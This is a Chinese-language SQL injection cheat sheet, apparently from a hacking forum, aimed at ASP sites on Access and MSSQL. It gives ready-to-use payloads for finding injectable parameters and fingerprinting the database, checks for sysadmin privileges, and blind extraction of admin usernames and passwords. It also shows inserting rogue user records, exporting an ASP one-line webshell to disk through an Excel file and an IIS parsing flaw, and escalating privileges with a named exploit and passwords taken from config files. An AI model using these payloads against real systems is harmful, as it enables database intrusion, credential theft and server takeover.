简单判定有无漏洞: 粗略型:
- '
复制代码
1. 数字型:
- and 1=1 and 1=2
复制代码
2.字符型:
- ' and '1'='1 ' and '1'='2
复制代码
3.搜索型:
- %' and 1=1 and '%'='% 或者 %' and 1=2 and '%'='%
复制代码
(PS:第三个大家可能不常用,他一般在ASP脚本中一般写成:keyword=request(”keyword”),赋值“KYO”到SQL语句中的时候即变为Select * from 表名 where keyword like ‘%KYO%’)
简单判断数据库信息:
语句型(IIS报不报错,语句自己区分): and user>0 and (select count(*) from msysobjects)>0 ……(页面错误为access数据库) and (select count(*) from sysobjects)>0 ……(页面正常为MSSQL数据库) and db_name()>0 ……(爆数据库名) version>0 (爆SQLServer版本信息以及服务器操作系统的类型和版本信息) 粗略型:加 ’(根据服务器报错的信息来判断) 加 ;--(;和--MSSQL数据库里面一般都有, ; 表示分离,-- 则是注释符ACCESS数据库里没有)
判断MYSQL权限: and 0<>(Select ISSRVROLEMEMBER(’sysadmin’))--(页面正常则为SA) and 0<>(Select IS_MEMBER(’db_owner’))--(页面正常则为db_owner) and 0<>(Select IS_MEMBER(’public’))--(页面正常则是public)
PS:以上方法适用于参数是int的时候,若为字符型,需在参数后添加’和查询语句后添加;--
开始进行SQL注入(ACCESS):
猜解表名: and 0<>(select count(*) from 表名) 或and exists(Select * from 表名) and 1<(select count(*) from 表名) (页面错误说明帐号数目就是1个) 猜解字段: and exists(Select 字段名 from 表名)(页面正常存在,不正常不存在) 猜解用户名和密码长度: and(Select top 1 len(列名) from 表名)>N (TOP表示把最前面的一条记录提取出来;N为变换猜解的列长度,页面错误即说明该列长度为N) 如:and 1=(select count(*) from user where len(name)>6) 错误 and 1=(select count(*) from user where len(name)>5) 正确 则长度是6
猜解用户名和密码:and (select top 1 asc(mid(列名,1,1)) from 表名)>0 如:and (select top 1 asc(mid(user,1,1)) from name)>96页面正常 and (select top 1 asc(mid(user,1,1)) from name)>97页面错误 则ASCLL码为97
PS:因为MD5的密文只有16,18,32,40这几个,所以猜解密码的时候只要试一试15,16,17,18,31,32,39,40等就简单些。 开始进行SQL注入(MYSQL):
爆出表名和字段: having 1=1-- 插入新记录: group by users.ID having 1=1-- group by users.ID, users.username, users.password, users.privs having 1=1-- ; insert into users values( 666, attacker, foobar, 0xffff )-- 猜解表名:and (select top 1 name from sysobjects where xtype='u')>0 (获得第一个表名) and (select top 1 name from sysobjects where xtype='u' and name not in ('user'))>0(获得第二个表名) ……………… 猜解列名:and (select top 1 col_name(object_id('字段'),1) from sysobjects)>0(得到字段的第一个列名) 猜解字段内容:and (select top 1 列名 from [表名])>0 如:and (select top 1 username from [admin])>0 (获取用户名) and (select top 1 password from [admin])>0 (获取密码)
导出webshell:
1.利用SQL执行命令功能导出WebShell: SELECT '<%execute request("a")%>' into [vote] in 'd:\web\x.asp;.xls' 'excel 8.0;' from vote PS:需提供SQL执行功能且知道绝对路径方可使用(vote为已知表段) 2.建立一个有一个A字段的表 表名为a 字段类型为字符 长度为50,在表A的a字段插入密码为90sec的一句话木马,把表a的内容导出为物理路径的一个EXCEL文件,导出为EXCEL后在利用IIS解析漏洞就可以变成小马了。 语句:
- create table cmd (a varchar(50))
- insert into cmd (a) values ('<%execute request("90sec")%>')
- select * into [a] in 'f:\host\qhdyxt\web\a.asp;.xls' 'excel 4.0;' from cmd
- drop table cmd
复制代码
提权:
1.system权限下直接添加账号(可能的话):直接CMD命令添加 2.使用shell自带的提权功能:Serv_U,pcAnywhere,Radmin密码读取等,全部试一试 3.利用系统的漏洞进行溢出提权:利用巴西烤肉提权,在CMD命令一行里输入C:\recycler\1.exe空格“CMD命令”,1.exe就是巴西烤肉咯 4.用软件的漏洞来提权(这个机会比较渺茫,个人没有成功过) 5.在conn.asp webconfig.asp等文件查找SA密码或者查找inc.php 等文件里面的ROOT密码(可以用CMD语句查找,如:利用CMD命令 dir /s d:\conn.asp 或者 dir /s d:\*inc*.php 来查找配置文件)